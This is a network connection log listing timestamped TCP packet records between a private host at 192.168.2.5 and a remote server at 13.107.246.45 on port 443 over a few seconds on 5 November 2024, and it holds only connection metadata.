Nov 5, 2024 22:44:54.222794056 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.222817898 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.223206043 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.223211050 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.356939077 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.357002974 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.357038975 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.357054949 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.357079029 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.363960028 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.383928061 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.383945942 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.383958101 CET	50070	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.383964062 CET	443	50070	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.393681049 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.393697023 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.394911051 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.394917011 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.401781082 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.401824951 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.401886940 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.402015924 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.402030945 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.523021936 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.523231030 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.523293018 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.523375988 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.523386955 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.523399115 CET	50071	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.523402929 CET	443	50071	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.526532888 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.526571989 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.526663065 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.526850939 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.526865005 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.657757998 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.658169985 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.658196926 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.658591986 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.658596992 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.672205925 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.672470093 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.672489882 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.672765017 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.672770977 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.791603088 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.791846037 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.791886091 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.791917086 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.791963100 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.792000055 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.792023897 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.792037964 CET	50073	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.792042971 CET	443	50073	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.794627905 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.794658899 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.794717073 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.794826031 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.794841051 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.804033041 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.804198027 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.804261923 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.804295063 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.804308891 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.804318905 CET	50072	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.804323912 CET	443	50072	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.806572914 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.806601048 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.806675911 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.806822062 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.806833029 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.938195944 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.938857079 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.938873053 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:54.939254045 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:54.939259052 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.066458941 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.066634893 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.066782951 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.066840887 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.066852093 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.066862106 CET	50074	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.066870928 CET	443	50074	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.070262909 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.070286989 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.070375919 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.070539951 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.070552111 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.170564890 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.171093941 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.171113968 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.171453953 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.171461105 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.297842026 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.298626900 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.298646927 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.299077034 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.299082994 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.303076982 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.303235054 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.303293943 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.303540945 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.303555012 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.303591013 CET	50075	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.303596973 CET	443	50075	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.306454897 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.306489944 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.306572914 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.306725025 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.306737900 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.432136059 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.432324886 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.432364941 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.432372093 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.432420015 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.432446957 CET	50076	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.432459116 CET	443	50076	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.435703039 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.435729980 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.435803890 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.436028957 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.436038971 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.528805017 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.532427073 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.532449007 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.532910109 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.532916069 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.542026043 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.542463064 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.542479038 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.543039083 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.543042898 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.662127972 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.662311077 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.662483931 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.662484884 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.662484884 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.664891958 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.664922953 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.665009022 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.665127993 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.665136099 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.671555042 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.671639919 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.671677113 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.671685934 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.671730042 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.671823025 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.671833038 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.671842098 CET	50078	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.671844959 CET	443	50078	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.673813105 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.673837900 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.673918009 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.674031019 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.674043894 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.814277887 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.814796925 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.814815044 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.815176010 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.815182924 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.946795940 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.947016954 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.947179079 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.947179079 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.947179079 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.950622082 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.950658083 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.950853109 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.951000929 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.951008081 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:55.973927975 CET	50077	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:55.973943949 CET	443	50077	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.047764063 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.048304081 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.048317909 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.048665047 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.048669100 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.168605089 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.169070005 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.169085979 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.169384956 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.169389009 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.177440882 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.177495956 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.177548885 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.177650928 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.177669048 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.177680016 CET	50080	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.177685022 CET	443	50080	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.180085897 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.180124044 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.180202007 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.180322886 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.180329084 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.255271912 CET	50079	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.255295038 CET	443	50079	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.300731897 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.300792933 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.300944090 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.301044941 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.301058054 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.301067114 CET	50081	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.301071882 CET	443	50081	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.303845882 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.303879023 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.303967953 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.304119110 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.304131031 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.403033018 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.403683901 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.403693914 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.403903961 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.403908968 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.534663916 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.534719944 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.534779072 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.548294067 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.548310995 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.548324108 CET	50083	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.548329115 CET	443	50083	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.556786060 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.556819916 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.556885958 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.557106972 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.557117939 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.694118977 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.694636106 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.694652081 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.695086002 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.695091009 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.826028109 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.826054096 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.826097965 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.826112986 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.826160908 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.835098028 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.835119963 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.835128069 CET	50084	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.835134983 CET	443	50084	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.907090902 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.907133102 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.907299995 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.925048113 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.925064087 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.929423094 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.942600965 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.942615986 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:56.950994015 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:56.950999022 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.061681986 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.062068939 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.062096119 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.062558889 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.062565088 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.076709032 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.076764107 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.076816082 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.099509954 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.099530935 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.099544048 CET	50085	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.099550962 CET	443	50085	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.112318993 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.112359047 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.112418890 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.113461018 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.113473892 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.195065975 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.195117950 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.195167065 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.195173979 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.195220947 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.201306105 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.201306105 CET	50086	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.201319933 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.201329947 CET	443	50086	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.237593889 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.237626076 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.237688065 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.238296986 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.238310099 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.296762943 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.298474073 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.298491001 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.298912048 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.298916101 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.428024054 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.428086042 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.428142071 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.433252096 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.433264017 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.433273077 CET	50087	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.433276892 CET	443	50087	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.436364889 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.439248085 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.439270973 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.439789057 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.439795017 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.470087051 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.470123053 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.470184088 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.471962929 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.471982002 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.656079054 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.656987906 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.657006979 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.657366991 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.657372952 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.758390903 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.758589983 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.758637905 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.758639097 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.758826971 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.758826971 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.758826971 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.761285067 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.761322021 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.761400938 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.761533022 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.761543989 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.784965038 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.785157919 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.785304070 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.785304070 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.785304070 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.787331104 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.787364006 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.787439108 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.787678003 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.787691116 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.843437910 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.843822002 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.843842030 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.844280005 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.844285011 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.961720943 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.962181091 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.962201118 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.962671995 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.962677002 CET	443	50090	13.107.246.45	192.168.2.5
